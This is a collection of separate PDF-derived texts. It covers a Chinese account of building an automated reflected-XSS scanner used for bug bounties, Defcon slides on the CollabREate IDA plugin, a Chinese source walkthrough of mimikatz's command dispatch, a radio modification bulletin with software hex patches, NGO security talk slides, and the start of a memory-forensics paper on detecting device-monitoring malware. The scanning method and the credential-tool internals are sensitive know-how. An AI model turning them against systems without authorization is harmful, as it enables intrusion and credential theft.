这周末抽空写了写,之前知识星球宣传⾥⾯说要分享这个经验,很多⼈也是看了这个才加的,所以趁现在还记得就 先写出来。 时间在2020年,当时xray的反射型xss扫描很好⽤,于是想知道原理,好奇探索了下⼤概的xss扫描规则,在xss扫 描器成⻓记.md有讲述,xray会先发送⼀个随机字符串,根据在html/js中反射的位置构造⼀个⽆害的payload,判 断标签是否闭合就能判断出是否存在反射xss,后⾯验证的payload⾃⾏去构造就好了。 xray没开源,我就⾃⼰写⼀个了,然后加了⼀个爬⾍,⾃⼰爬⾃⼰扫,通过爬⾍的数据,发现很多地⽅还有可以优 化的地⽅,⼜看了⼀些公开的xss的报告,把很多奇葩条件下的xss扫描都加了进去。当时⾃⼰的机器都是2H1G的 ⼩机器,想提⾼效率,⽤了分布式,但是⼜由此带来了很多第三⽅的数据库,队列什么的,更加压迫了我机器的性 能..做了这么多,成果也很喜⼈,各⼤src,微软都有,运⽓好也获得了微软1000多⼑的赏⾦。 这篇⽂章主要分三部分 xss扫描器经历 ⼯程化经历 微软赏⾦经历 xss扫描器经历 检测流程: 1. 将参数变为随机数,探测随机数是否回显 2. 判断可否xss,content-type是否是html 3. 再次根据GET,POST,COOKIE进⾏请求,确定参数的回显位置 4. 如果语义分析不到回显的位置,可以直接构造⼀个xss,看是否存在即可 5. 语义分析得到位置,根据不同位置⽣成不同的payload,并进⾏⼆次探测最终确认xss是否存在 这部分代码其实早已在w13scan上公开了:https://github.com/w-digital-scanner/w13scan/blob/master/W13S CAN/scanners/PerFile/xss.py 不过公开的是第⼀版的代码,后⾯我⼜对代码进⾏过多次整改,适配了很多种情况。 js⽂本内容转义 回显内容在注释⾥,可使⽤换⾏进⾏bypass 多个反射点特殊构造bypass https://brutelogic.com.br/blog/multi-reflection-xss/ 等等.. ⼯程化经历 xss扫描器完毕后,加上爬⾍,⼀个 简单的流程图如下 整个项⽬整理后⽤到的技术有下⾯⼏个,流程很简单,麻烦的是容器化和⾃动发布,不过这些弄好之后⼀键部署⽅ 便很多。 后端⼀开始⽤的是 leancloud 服务,直接把扫到的数据存⾥⾯ var s1="1\" 后⾯觉得成果不错,就开始⾃⼰写数据库之类的了。 构成 现在总结起来的构成有以下,使⽤到的技术: 域名收集 https://github.com/projectdiscovery/subfinder 域名爆破+验证 https://github.com/boy-hack/ksubdomain 爬⾍ https://github.com/0Kee-Team/crawlergo 后端: django+mongodb 分布式: celery celery状态监控:flower 消息队列:rabbit MQ 容器化 docker ⾃动发布 fabric 进程监控 supervisor 界⾯和成果 当时做了简单的界⾯,填写src的地址等等就可以⾃动监控,⾃动爬⾍,⾃动扫xss了,成果也很喜⼈,基本上很多 src的都检测到了。 ⼦域名搜索 漏洞⻚⾯ 会把xss的类型和测试payload展示,⽅便知道是哪些⽅法找到xss的 漏洞详情 把请求包详情展示,包括发送包,因为有时候复现不出来,⼤概率是和请求头某些参数有关系。 ⼀些成果 微软赏⾦经历 当时分布式都是⽤的国内机器,扫国外的很多都超时,所以就选了微软⼀家,国内访问速度还可以。当时没想很 多,就把微软⼏个官⽅域名加了进去,让它⾃⼰去爆破⾃⼰去扫,还是有不少的,重点是⼀个⽉全部⼤更新⼀次再 去扫,都有不⼀样的东⻄。 提交漏洞的记录: 找到微软的⽹站漏洞,提交后它会在每⽉在线服务致谢中展示(xss也算噢) 它也定义了有赏⾦的⽹站,⽹站在这⾥会得到赏⾦。(我发现了好⼏个微软主战的xss,但都没赏⾦..) 后⾯按部就班的提交给微软咯的,有⼀个域名我当时还不知道有赏⾦,就当普通的提交了,后⾯微软给我发来了赏 ⾦计划通知。⼀个xss奖励了1200美⼑。 - www.office.com - protection.office.com - onedrive.live.com - onedrive.com - portal.azure.com - manage.windowsazure.com - azure.microsoft.com/en-us/blog - portal.office.com - outlook.office365.com - outlook.office.com - outlook.live.com - outlook.com - sharepoint.com - lync.com - officeapps.live.com - www.yammer.com - sway.com - sway.office.com - tasks.office.com - teams.microsoft.com - asm.skype.com - msg.skype.com - skyapi.live.net - skype.com - storage.live.com - apis.live.net - settings.live.net - policies.live.net - join.microsoft.com Ps :后⾯我还想凭着xss冲⼀冲微软最有价值的研究者,因为平均提交三个漏洞就能进⼊了,我提交了6个,但是后 ⾯发现它的机制是平均报告的volume或分数要超过同⽐的50%,xss分数少,可能就没过吧。。 为啥不做了 国内当时刷了⼀圈xss,但赏⾦都特别⼩,想刷国外,但就得把系统在国外vps部署⼀套,分布式的队列也得放到国 外,它连国内的队列基本都超时,也觉得xss漏洞还是挺⼩,还是 反射xss,没有rce来的有成就感。后⾯做别的事 情就忘了继续这个项⽬了。 现在还想做 还没有⽤这个技术刷国外的src是个遗憾,现在我也在构思⾃⼰的src平台,想把这个重新拾起,并且现在 crawlergo也开源了,我可以做更多事情,⽐如直接在浏览器层⾯注⼊js来检测dom-xss等等,把爬⾍的数据存下 来,可以像google语法那样搜⾃⼰想要的东⻄。现在也可以买⼀些性能好的服务器,不⽤像以前2H1G拼命优化算 法压榨⾃⼰的主机,连起个redis都要纠结好⼀会 - =
pdf
Next Generation Collaborative Reversing with Ida Pro and CollabREate Chris Eagle and Tim Vidas Naval Postgraduate School Shameless Plug Coming soon to finer book stores Defcon 16 CollabREate 3 Prepare for Demo Defcon demo package Compiled plugins Plugin source Binary for everyone to analyze http://www.idabook.com/defcon Defcon 16 CollabREate 4 Why? Because Chris can't spell Desire for multiple people to collaborate on a project and synchronize their RE efforts. Sharing IDBs is problematic, slow, and doesn't allow for merging changes People that want to collaborate have different versions of IDA Ida Sync was a great start but kinda busted, and it didn't do enough anyway Goals Automatically sync up to current idb state when connecting Allow multiple projects and provide some safety for connecting to the correct one Allow users to enter/exit collaboration at will Allow forking of projects when participants decide to try different things Allow some granularity on what actions each participant is allowed to perform (global/project) Defcon 16 CollabREate 6 Basic Idea Hook as many IDA actions(events) as possible Example: on "create comment" send a datagram to the server Server Mirrors the datagram to all other interested IDA sessions Caches the datagram for anyone not currently connected Asynchronous Comms Asynchronous comms/events not easy IDA is single threaded Don't start a second thread that interacts with the database! Windows asynchronous sockets post messages to an application's message queue Handled in the GUI event loop IDA Sync and IdaRub use this technique Improved robustness to handle partial sends/receives Complete separation of comms and GUI. Ida'isms There is no pre-action hook (yet)* Sometimes nice to know state before the change takes place Some events don't give you enough information (structure rename/delete) Can't tell what old name was Resulted in some IDA kernel / SDK patches Found one bug in notification API Requested and received one change in notification API Defcon 16 CollabREate 9 User Interface CollabREate uses native API gui controls/boxes IDA SDK offers some user interface elements Too limiting No user defined drop down lists No password fields Defcon 16 CollabREate 10 Expanding the Idea Once we got started a whole lot of "wouldn't this be nice" features popped up Project management Project forking Checkpoints Project migration to another collabreate server Undo Ability to work 'offline' then merge changes Publish and subscribe permissions Defcon 16 CollabREate 11 Why Undo is Difficult IDA stores the original byte value but there is no access to the 'previous' value For rename operations, you are told the new name but can't recover the old name This could be mitigated by requiring at least two instances of IDA (inquire prior to patch) to collabREate Defcon 16 CollabREate 12 Why Working Offline is Difficult Merging changes would require conflict resolution If the project is used by a single participant it's not too difficult If the project has had no updates while the user was offline it's not too difficult Granular controls on the publish/subscribe model make this more difficult Defcon 16 CollabREate 13 CollabREate Plugin The plugin registers and is available for use once the initial auto-analysis has completed Very little state is maintained by the plugin/IDA IDA events cause datagrams to be packaged up and sent to the server Defcon 16 CollabREate 14 CollabREate Operation Rather than introducing new hotkey sequences, collabREate processes event notifications Easy installation Easy to capture all actions Difficult to forget to send updates Defcon 16 CollabREate 15 Plugin Details Requires IDA Pro supports 4.9, 5.0, 5.1, 5.2 & IDA freeware 4.9 Compilation requires g++ or Visual Studio and the IDA SDK for your version of IDA if using cygwin, make sure you have make, g++, etc No official SDK for Freeware 4.9 Defcon 16 CollabREate 16 Plugin Details (cont) The plugin can be (and is) built for specific Ida versions ...but the capabilities of the plugin still depends on the version of IDA you are using... Some versions of IDA can publish more information than others (newer == better) Capability by Version IDA Version 4.9 / 4.9 FW 5.0 5.1 5.2 Action (Publish/Subscribe) P S P S P S P S Undefine         Make code         Make data         Move seg         Name changed       Function added or deleted       Function bounds changed       Byte patched       Comment changed       Operand type changed       Enum created or changed       Struct created, deleted, or changed   1  1  Func tail added or deleted       Seg added, deleted, or changed       Flirt function identified      1 IDA 5.2 and an updated IDA 5.2 kernel is required in order for full structure updates to be properly published. Defcon 16 CollabREate 18 CollabREate Protocol Asynchronous communication Binary protocol Two command types IDA update datagram (forwarded to other plugins) Control messages intended only for server Datagram Size (4 bytes) UpdateID (8 bytes) Command (4 bytes) IDA Data (? bytes) Control Data (? bytes) Defcon 16 CollabREate 19 CollabREate Server Maintains almost all the state Handles messages and forwards/replies accordingly Can be invoked in either a basic or database backed mode Provides an interface for managing CollabREate specific information (users, permissions, etc) Defcon 16 CollabREate 20 The Server Requires Java (tested on JDK 1.6+) Two modes Basic Simple reflector No persistence Database JDBC interaction Persistent storage Two components Executable jar server to run in background Executable jar management app Defcon 16 CollabREate 21 Basic Mode Requires no database Allows multiple projects per binary Selectable by name No authentication no storage mechanism for the auth info related: no permissions Leaves no 'meta data' in the idb All participants must start at the same time with an idb in the same state no support for 'late connectors' Defcon 16 CollabREate 22 Database Mode Tested w/ postgres(8.2+) and Mysql (5.0) Requires jdbc driver for your database type Requires authentication to the server (chap/hmac - good enough ;-) All participants should start with a 'fresh' idb just after autoanalysis, but they can connect to the server at any time Database Mode All updates posted to the project before a participant connects are sent to the participant Meta information is stored in the idb facilitates temporarily disconnecting then reconnecting to a project Allows the same 'user' to have multiple sessions changes made to the database while disconnected will not be sent to the server Can be used for attribution Defcon 16 CollabREate 24 Release Schedule Plugin Source and binaries are available now: http://www.idabook.com/collabreate Server Will be available after Defcon (Monday) Source / java jar available idabook.com Ready to go VMWare appliance on vmware.com/appliances/ FC9, java installed, database setup, etc Defcon 16 CollabREate 25 Overview After opening a database, activate plugin Default hotkey is Alt-F6 Defcon 16 CollabREate 26 Authenticate Provide user name and password MD5 of input file is also sent to server Users are managed by the server administrator Defcon 16 CollabREate 27 Join a Project Two cases If you were previously joined to a project you are automatically rejoined to that project If you have never joined a project the server sends a list of all projects based on the same binary you have opened (MD5 comparison) Defcon 16 CollabREate 28 Project Selection/Creation Choose from compatible projects Based on MD5 Set desired permissions Defcon 16 CollabREate 29 Specifying Permissions Choose what you want to publish or subscribe to For new projects dictates what others can do Defcon 16 CollabREate 30 Additional Commands Rather than introduce several new hotkeys, collabREate overloads its activation key When already active, the hotkey provides access to additional functionality Defcon 16 CollabREate 31 Demo Basic mode Database mode Binary versions and source are available at http://www.idabook.com/defcon Put the collabreate.plw for your version of IDA into your “plugins” directory BEFORE opening IDA Open IDA (use demo.exe found in defcon.tgz ) Hit Alt-F6 to start collabREate Username: defcon Password: Really? (no really it IS “Really?”) Other interesting uses Install plugin X or script Y on one collabREating copy of IDA The effects of X or Y are mirrored to other collabREators (installation not required) Nobody blindly executes precompiled binaries do they? Has anyone actually built IDAPython or IDARub? Why make everyone on the team experience the pain? Assumes that X or Y cause IDA to generate events that collabREate recognizes Defcon 16 CollabREate 33 Other Interesting Uses Learning environment Projects can essentially be setup as “read only” This amounts to full subscribe and no publish permissions on the server This way the project owner can push in-class IDB updates to students with no fear of a student messing up any database but their own. Students can still navigate, open subviews, etc while updates are occurring Defcon 16 CollabREate 34 Future Work New API will allow even more events to be hooked Pre-hook events will facilitate an UNDO feature Better permission interface Merge algorithm for offline changes (maybe) Project migration across servers Defcon 16 CollabREate 35 Questions? Anyone? Bueller? Let us know how CollabREate works for you! Contact info: Chris Eagle, cseagle <at> gmail Tim Vidas, tvidas <at> gmail Defcon 16 CollabREate 36 References Ida sync http://pedram.redhive.com/code/ida_plugins/ida _sync/ Ilfak's forum entry on about 4/28 http://www.hex-rays.com/forum/viewtopic.php? f=8&t=2055 (reg req'd) JDBC http://jdbc.postgresql.org http://www.mysql.com/products/connector/j/ CHAP RFC 1994 HMAC RFC 2104 Defcon 16 CollabREate 37 FAQ Q: Since you must open the binary and allow IDA to complete the auto-analysis prior to connecting to the CollabREate server, won’t different versions of IDA (and thus different versions of auto- analysis) result in a slightly different disassembly? Q: How do you guarantee that the databases all start in the same state prior to receiving CollabREate updates? FAQ A: you _could_ force IDA to not do any analysis upon open, then start the plugin, then force a re-analysis...and hope that all of the analysis actions have events in IDA, AND hope that collabREate recognizes all the events.... but in practice, the auto analysis' from different versions are “close enough” to being the same “most of the time” for effective collabREation (no, we don't have any stats to back this up) Feel free to inform us of your experiences Defcon 16 CollabREate 39 FAQ Q: how did you make a plugin for the freeware? A: made my own freeware specific SDK – no it’s not available to the public. Also see http://www.woodmann.com/collaborative/tools/ index.php/IDA_Free_4.9_SDK_Library_Patch (YMMV) Defcon 16 CollabREate 40 FAQ Q: Does / can the plugin control the focus in IDA? (eg can attached plugins automatically scroll) A: No. For one, this would have limited usefulness for CollabREation, second IDA doesn’t really provide access to these kinds of events.
pdf
S-Mimikatz源码调试 前期准备 mimikatz源码:地址 调试环境: vs2019 几点设置: 1. 因为官方项目没有debug方案,所以需要手动添加debug配置 2. 项目属性配置 程序入口 调试以 privilege::debug 为例。打开调试-> mimikatz 调试属性->配置属性->调试->命令参数 wmain()是 mimikatz`的入口函数。 命令分发 从上面的循环中获取到请求参数之后就进入到命令分发的 mimikatz_dispatchCommand() 函数。 这里首先有一个 kull_m_file_fullPath 方法,然后进行匹配,暂时不知道具体作用是什么,之 后进入 mimikatz_doLocal() 方法。 命令执行 在对命令进行请求分发之后获取到 module 和 commond 两个参数,之后就进入了命令执行的阶段, 这个地方涉及到结构体的知识。 首先 mimikatz_modules[] 是一个数组,数组里面存放的是每一个模块的结构体的指针。那么第 210行就是将 module 的值和每个模块结构体中定义的 shortName 进行比较,如果相同,返回0。 结构体的结构在 kuhl_m.h 这个头文件中进行定义。 之后第213和214两行相同的方式去寻找同一个模块下存在的 command ,每个模块都预先定义一个 数组,存放全部的可执行方法的信息。 最重要的就是第215行, status = mimikatz_modules[indexModule]- >commands[indexCommand].pCommand(argc - 1, argv + 1); ,执行这个模块和命令。 mimikatz_modules[indexModule]->commands[1] 这一步相当于找到了 kuhl_m_c_privilege[] 这个数组的第一个元素,然后这个 const KUHL_M_C kuhl_m_c_privilege[] 数组,是一个结构体数组,这个第一项表示的是一个 指针函数 ,那后面 的 .pCommand(argc - 1, argv + 1) 就是去调用 kuhl_m_privilege_debug 这个函数。 可以看到的是对于 privilege::debug 这个功能,执行的函数是 kuhl_m_privilege_simple() ,而最后调用的系统API是 RtlAdjustPrivilege() 。 至此,整个简单的流程分析已经结束了,关于 mimikatz 的请求流程,和命令分发已经了解清楚 了。 NTSTATUS kuhl_m_privilege_simple(ULONG privId) {   ULONG previousState;   NTSTATUS status = RtlAdjustPrivilege(privId, TRUE, FALSE, &previousState);   if(NT_SUCCESS(status))      kprintf(L"Privilege \'%u\' OK\n", privId);   else PRINT_ERROR(L"RtlAdjustPrivilege (%u) %08x\n", privId, status);   return status; }
pdf
Technical Service Bulletin: FXR-14 Modifying GE MVS VHF Group 2 150 – 174 MHz for Amateur Radio Applications in the 219 – 220 & 222 – 225 MHz Band A FluX Research project in several phases Release Date: 04-01-2011 Last Update: v1.2 03-01-2011 By: Matt Krick, K3MK [email protected] Radio Model #: GE MVS - NPFH3OSS Warning: Please be aware that this document may contain several omissions and or typographical errors, continue reading at your own risk. Background: Special thanks to Mohave Amateur Radio Club, K7MPR for providing the radios for experimentation. The following LBIs may be helpful: LBI-31919E VHF High band 40 watt MVS maintenance manual LBI-31920D VHF High band RF board 19D901835G2 (150-174 MHz) LBI-31921C VHF High band Power Amplifier board 19C851540G2 (150-174 MHz) LBI-31922D Audio board 19D901870G1 LBI-31924F MDR, MTD, MVS, TMX-8825 System Board 19D901891G1 LBI-31926C Service section for VHF high band combinations LBI-31927D MVS Operators manual Covers 2 channel, 8 or 16 channel, scan, selective calling (SelCal) and PA operation LBI-38387B MVS Front cap assembly 19D901913G1 (this is the front panel) LBI-38465B Remote mount option 19A705306G3 LB-I38899 MVS / MCS / TMX-8712 / TMX-8310 Logic boards 19D901690G11 Phase 0: Preparations Make sure the radio to be converted is in good working order on its original frequencies before attempting conversion to Amateur Radio use. Phase 1: Operating Frequency Reprogramming Option 1: Hack Original GE MVS v3.0 software to allow out of range programming. Copy MVS.EXE to MVS220.EXE Using a suitable hex editor such as XVI32, Edit MVS220.EXE and make the following changes: Hex Address Original Data New Data &H1A328 C0 62 00 60 &H1A33F C0 65 20 6C &H1B8E9 C0 62 00 60 &H1B8F1 C0 65 20 6C This changes the programming range of the software to allow 128 to 225 MHz. Transmit frequencies will show true, Receive frequencies will now have to be programmed minus 90 MHz. I.E. 223.500 MHz RX is programmed as 133.500 MHz. Option 2: Use alternate firmware on the logic board. Please refer to the following website: http://www.dave-page.com/projects.html This firmware was originally designed to run the 900 MHz GE TMX-9315 in amateur bands, provisions were made to port the code to the GE MVS and one of the bands was 220. It is also meant to be used with the GE TMX test handset, or a modified GE CF-1000 car phone as the display. It will not drive the stock MVS front panel. There is a handset emulator program that can get the radio programmed and is useful for making link radios where VFO programming is not needed. The firmware requires a large EPROM with a built in latch buffer. 87C257. Later G11 logic boards have this IC installed and no further modifications are necessary. Early logic boards such as the G5 have the smaller EPROM. This must be replaced for the 87C257 and some modifications are needed to the G5 board as outlined in the documentation. Also note that the author of the firmware recommends using a TMX audio board in the MVS and there may be additional modifications required that are not documented. For testing program the radio to the following: Channel 1 – 223.500 MHz Simplex Channel 2 – 224.800 MHz Simplex Phase 2: VCO Cut the trace on the RF board, feeding the DPTT signal to R208 and R209 after the trace that goes to R248. Scrape solder mask and expose the copper trace that is the original DPTT signal. Install a logic inverter consisting of a NPN transistor with 2.2-10K resistor on the base lead. Solder emitter to ground, base resistor to the bare trace and collector to R208 and R209 junction. Installed VCO Inverter Transistor This effectively makes the VCO band select backwards so the VCO runs in the 222 MHz range on TX and around 178 MHz on RX. Set the radio to receive on 224.80 MHz. Adjust R218 for 6.5 VDC as measured on test point J201. Phase 3: Low Pass Filter With the RF board out of the radio the Low Pass Filter can be modified easily. Remove the 18pF capacitor at position C2 and replace with 10pF. Remove the 11pF capacitor at C3 and replace with 4.7pF. This raises the 3dB corner frequency to approximately 250 MHz. The loss at the 2nd harmonic frequency of 447 MHz was measured to be -56dB Modified Low Pass Filter Installed on RF Board Frequency Response of Modified Low Pass Filter Phase 4: Receiver Remove RF board from chassis again. Replace L405 with a 110uH coil, 9 Turns of #22 wire closely spaced on a 1/8” drill bit. The magnet wire is available from Radio Hut in the 315 ft. Magnet Wire Kit #278-1345, It is the spool that is gold in color. Remove the enamel from the ends of the coil and tin it. I like to do both operations at once with a pool of solder on the end of a broad tipped iron. Leave the coil on the drill bit while tinning to act as a heat sink. Replace L402 with a 44uH coil. 4 ½ turns of #22 closely spaced on a 1/8” drill bit. Follow same procedure as L405. Remove Z401. This is a 3 pole tuned helical filter set to cover 136-174 MHz. The filter was determined to be too small to work on. Frequency Response of 136-174 MHz 3 Pole Helical Image Filter Construct a replacement image rejection filter for with the following components: 2 x 4.7pF capacitors 1 x 90 degree open coax stub cut to 133.5 MHz + 0.5” (15.25” for RG-174u) Replacement Image Filter Schematic Install filter in original position of Z401. Solder the capacitors to the I/O holes of Z401 and solder the outer conductor of the coax stub to ground. Replacement Image Filter Measured Performance Reinstall RF board in chassis. Tune receiver. Adjust the spacing of L402, L405 and turn C408. My receiver came to -118dB for 12dB SINAD. Modified RF board, showing replaced L402, L405 and Replacement Image Filter. Tune image filter. Set a signal generator for the current receive frequency minus 90 MHz. Trim stub for lowest received signal, increase generator output as necessary. Test radio was able to make 86dB of image rejection. Phase 5: 200mW VHF TX Exciter Remove the TX Exciter from the RF board using a wide braid solder wick and suitable iron. Remove the 39pF capacitor at C6 and replace with 22pF. Replace the capacitor at C1 with the 39pF capacitor removed from C6. This raises the 3dB corner frequency of the exciter to approximately 275 MHz. Modified TX Exciter Board Reinstall TX Exciter into RF board. Keep boards at 90 degree angle to each other while soldering. Modified TX Exciter Board Power Output Phase 6: 10W VHF Power Amplifier Replacement The following Power Modules are in the H2 style case and are drop in replacements for the M57719 which is currently in the radio. Module Part Number Power Input Power Output M57774 300mW 30W (Class C) M68729 300mW 30W (Class C) SAV15 200mW 30W (Class C) SAV15 Power Module While it is pin compatible with the radio, the RA30H2127M requires some additional modifications. Module Part Number Power Input Power Output RA30H2127M * 50mW 30W (MOSFET) Pin 2 of the RA30H2127M is Vgate instead of 1st Amplifier Vcc. This pin requires 5 volts to reach full gain of the module. Voltage above 6.5 VDC may cause damage. It is recommended to add a 470 ohm resistor between the base of Q101 and ground, but this has not been tested. It is also recommended that the metal case of the module be machined flat for optimum contact with the heat sink to enhance the impedance to ground and thermal transfer. It is possible to do this with a belt sander and a fine grit belt such as 220 and higher. Care must be taken not to absorb the metal particles into your skin or breathe them, otherwise metal poisoning may result. Remove the module currently in the radio and clean the holes with solder wick. Insert the new module into the board but do not solder it until the RF board is inserted back into the radio and the rear case screws are in place. There should be enough excess thermal paste on the heat sink and additional compound should not be necessary. These modules may provide the user with adequate power and the 45W VHF Power Amplifier stage can be bypassed by placing a coax jumper between J102 and J103 on the RF board. The test radio was able to produce 25 watts after the low pass filter using the SAV15. If used in conjunction with the 45W PA, power output of the module should not exceed 10W. Phase 7: 45W VHF Power Amplifier Remove C151 Replace L151 with wire jumper close to PCB Replace C152 with 56pF ceramic 1206 Remove C156 & C157 Install a pair of 43pF ceramic 1206 capacitors or 1 each 39 and 47pF on Q151 Collector and emitter leads Remove C158, 33pF and install at C157 Remove L156 and modify to 1/2 turn and reinstall Install 20pF ceramic 1206 at C158 Modified 45W PA Spectral Purity The test radio was able to produce 45 watts after the low pass filter. 3rd harmonic was approximately -54dBc Optional Modification: Internal Speaker Audio Level By design the radio will not silence the speaker audio. This can be annoying if the radio is placed into link service, APRS and other applications where speaker audio is only occasionally needed. To remedy this, replace R811 on the Front panel board with a 0 ohm resistor or wire lead. If wire lead is used, leave clearance space as there is a via right under the resistor landing area. Modified Front Cap Assembly Photographs by: Matt Krick, K3MK Legal notice – Material in this technical service bulletin is Copyright 2011 Matt Krick, K3MK. All Rights Reserved. The author takes no responsibility for any damage during the modification or for any wrong information made on this modification. Your results may vary. Commercial use of this bulletin is not authorized without express written permission of the author. Furthermore, this work is specifically prohibited from being posted to www.mods.dk or any other ‘limited free site’. Please ask for permission before posting elsewhere.
pdf
CSCS: 以技術力協助公民社會 的初次嘗試 Pellaeon Lin @ HITCON CMT 2017 [email protected] Human rights defenders are the canaries in the mine of digital rights violations and cyber attacks Human rights defenders? - 生命權、財產權、獲公平審判權 - 免於酷刑和奴役 - 人身、思想、宗教、言論自由 - 性傾向與認同 - 網際網路、通訊 NGO 技術社群 Civil Society Cyber Shield NGO 面臨的資安威脅 - 釣魚、追蹤廣告、政府竊聽、翻牆…… - 其實和企業所面臨的威脅類似 - 容易成為優先被攻擊的對象 - 又欠缺自我保護的資源 CSCS Workshop 5/24-25 - 台灣民主基金會 - HITCON、台權會、華人民主書院 - 11 國、50 位參與者 - 教學、小組問答、討論、短講 Lessons Learned CSCS Workshop 檢討 - 其實大部分人需要的是最基本的東西 - 問答很重要 - 人與人的連結和信任很重要 - 慢慢來快不得 NGO 資安討論小聚 #1 8/16 - 台灣本地參與者 @ OCF 辦公室 - 小規模 - 問問題 - 討論 - 認識朋友 Lessons Learned NGO 資安討論小聚 檢討 - NGO 社群比較注重人與人之間的認識 - 其實有興趣的技術人很多 - 不同背景的人的平衡 - 設定規則,必須要說明簡稱和專有名詞 NGO 資安討論小聚 檢討 - 避免永無止境討論極端狀況和極端防護手 法 - 永遠要把風險和成本納入考量 沒有來的人呢? 更基本的問題: 下一步:資安教材入口網 - 協作 Wiki - 彙整各種教材,簡短介紹 - 翻譯 - 分類帽 - 選擇需求,建議教材 數位權利倡議 未來: 新世代的網路挑戰: re-decentralization walled gardens 隱私權、數位權利 網路治理 APRIGF July/August 2018, Vanuatu 數位權利 RightsCon 5/16~18, 2018, Toronto, Canada 駭客文化/資安/藝術/電腦與社會 34C3 Chaos Communication Congress December 2017, Leipzig, Germany 數位權利/反內容審查及監控 Internet Freedom Festival March 2018, Valencia, Spain NGO 資安討論小聚 #2 9/19 Tue. 台灣人權促進會辦公室 (民權西路站) http://bit.ly/2wDaFJJ Q & A
pdf
New Memory Forensics Techniques to Defeat Device Monitoring Malware Andrew Case, Gustavo Moreira, Austin Sellers, Golden G. Richard III [email protected], [email protected], [email protected], [email protected] April 4, 2022 1 Introduction Malware that is capable of monitoring hardware devices poses a significant threat to the privacy and security of users and organizations. Common capabilities of such malware include keystroke logging, clipboard monitoring, sampling of microphone audio, and recording of web camera footage. All modern operating systems implement APIs that provide this hardware access and all of them have been abused by numerous malware samples to monitor the activity of journalists and dissidents, conduct espionage operations against corporate and government targets, and gather data that allows for blackmail of individuals. Existing methods for detecting these malware techniques are largely confined to malware that operates within kernel space, commonly referred to as kernel rootkits. The use of such rootkits has waned in recent years as operating system vendors have sharply locked down access to kernel memory. This includes enforcement of driver signing, limiting which organizations can receive signing certificates, and adding proactive monitoring systems within the operating system that detect common rootkit tampering techniques. These limitations placed upon kernel rootkits as well as the easy-to-use APIs in userland that allow for access to hardware devices has led to a significant number of device monitoring malware samples that operate solely within process memory. Such malware is comparatively much simpler to write and is also much easier to make portable across a wide variety of operating system versions. Unfortunately, current methods for direct detection of such userland malware are severely outdated or completely lacking. These include attempts at live forensics, which relies on system APIs to enumerate artifacts, but these APIs are often hooked by malware to hide their activity. Partial existing memory forensics techniques for Windows exist, but are outdated, and there are monitoring methods used across the major operating systems that have no memory forensic 1 detection support at all. Given the significant recent emphasis on memory analysis during incident response, such as in CISA directives released after the detection of ProxyLogon [1] as well the SolarWindows supply chain compromise [2], it is imperative that memory forensic techniques are able to properly detect modern threats. In this paper, we present our effort to research and develop memory forensic algorithms capable of direct detection of userland device monitoring malware across all three major operating systems. To accomplish this goal, we first undertook a significant effort to understand and document the APIs that provide device access to userland components. This effort included binary analysis of closed source components (Windows, Mac) as well as study of open source components (Linux, Mac). These efforts in turn led to the update of existing and creation of new Volatility plugins that are capable of automatically locating and extracting all relevant information about processes that are monitoring hardware devices. These plugins quickly inform analysts of the presence of such malware as well as key in information such as the addresses of callback functions. We plan to contribute our Volatility plugins and additions to the community upon publication of this paper. 2 Research and Experimental Setup 2.1 Operating Systems and Versions Tested During our research effort, we aimed to develop capabilities that covered all supported versions of target operating systems as well as bleeding edge ones, where possible. Given that the layout of operating system data structures often changes between versions and that many of the components we analyzed were closed source, we fully documented all of our developed plugins with the steps needed to find the correct offsets and associated information in future versions of each operating system. The following table lists the starting and ending version tested and supported added for each operating system: Operating System Earliest Version Latest Version Windows 10 10563 22000.556 macOS Catalina Monterey Linux 2.6.18 5.14 This wide range of versions covers Windows 10 starting from build 10586, released in 2015, to the latest release at the time this paper is written. We also cover Linux kernel versions going back to 2008. All versions of macOS supported by Apple at the time of writing were also covered in our research. We choose to test and include such as a wide of range of kernel versions to ensure that our effort is as widely useful to the community as possible. 2 2.2 Memory Sample Creation When developing new memory forensic capabilities, it is imperative to develop proof-of-concept applications that perform the same actions as malware, but in a controlled and logged manner. By developing these POC applications, the researcher can be certain that artifacts recovered from a memory sample with a POC application active match precisely with the values recorded by the POC as it ran. As an example, a POC that places an API hook would record the process ID of its victim along with the address that was hooked and the address of the malicious handler. The memory analysis researcher can then run newly developed plugins against these memory samples and confirm that the recovered values match. These samples can also be saved to perform regression testing of future software releases. Given the severity of the malware types discussed in this paper, our team wanted to ensure that our research process and results could be repeated and verified well into the future. To meet this need, we developed POC applications that performed each action hunted for by our plugin set. When then generated memory samples with our developed POCs active and ensured that our plugin output matched. Snippets of these POCs will be shown and discussed where relevant throughout the paper. To create stable and valid memory samples, two methods for acquisition were used. The first was the use of Surge Collect Pro from Volexity [3]. This commercial software supports stable acquisition across Windows, Linux, and macOS systems. Besides capturing physical memory, Surge also records a significant amount of system state and metadata to json files. This extra metadata allowed us to automate a significant amount of the testing. The second approach we used for acquisition was snapshotting and suspending the VMware virtual machines that we used for testing. The system state files (.vmem, .vmss, .vmsn) created when snapshotting and/or suspending a guest VM contain a copy of all physical memory as well the metadata needed to fully perform memory analysis. The main downside to this approach is that the system state files do not contain the wide range of metadata that Surge produces. 2.3 Analysis Tools and Resources IDA Pro was used for all binary analysis performed during our research. Source code studying of Linux kernel versions was largely performed using the excellent Exlixir cross reference website [4] and macOS source code study was performed using a self-hosted OpenGrok instance that contained source code from Apple’s open source code website [5]. 3 Windows Analysis - SetWindowsHookEx There are two APIs provided by Windows systems that userland malware abuses to monitor devices. In this section, we discuss the internals of SetWindow- sHookEx along with our updates and creation of new Volatility capabilities that 3 provide automated detection of abuse of this API. Before our effort, Volatil- ity only supported detection of SetWindowsHookEx abuse through Windows 7 and did not recover all needed information. In the following section, we give RegisterRawInputDevices the same, complete treatment. 3.1 Background The SetWindowsHookEx API provides the ability for applications to install hooks that activate when specific device or window (GUI) events occur. These hooks can target the keyboard or mouse as well as activity within the GUI environment, such as messages between sent between applications or an application changing its foreground/background state. The callbacks associated with these hooks receive the specific data of event that triggered the hook, such as the button pressed on a keyboard. Given the power and flexibility of this API, numerous malware variants and samples have abused this API for keylogging, mouse monitoring, and code injection. Figure 1 shows the function prototype for SetWindowsHookEx. Figure 1: SetWindowsHookEx Prototype The first parameter, idHook, specifies which event the hook will monitor, such as WH KEYBOARD, to monitor keystrokes. The second parameter, lpfn is the callback to activated upon each monitor event. The last two parameters, hmod and dwThreadId, control the behaviour of which processes are hooked and how they are hooked. If hmod is NULL then the executable calling SetWindowsHookEx must host the callback function. Otherwise, hmod must reference a valid handle to the DLL that hosts the callback function. If dwThreadID is non-NULL then it specifies the particular thread for which the 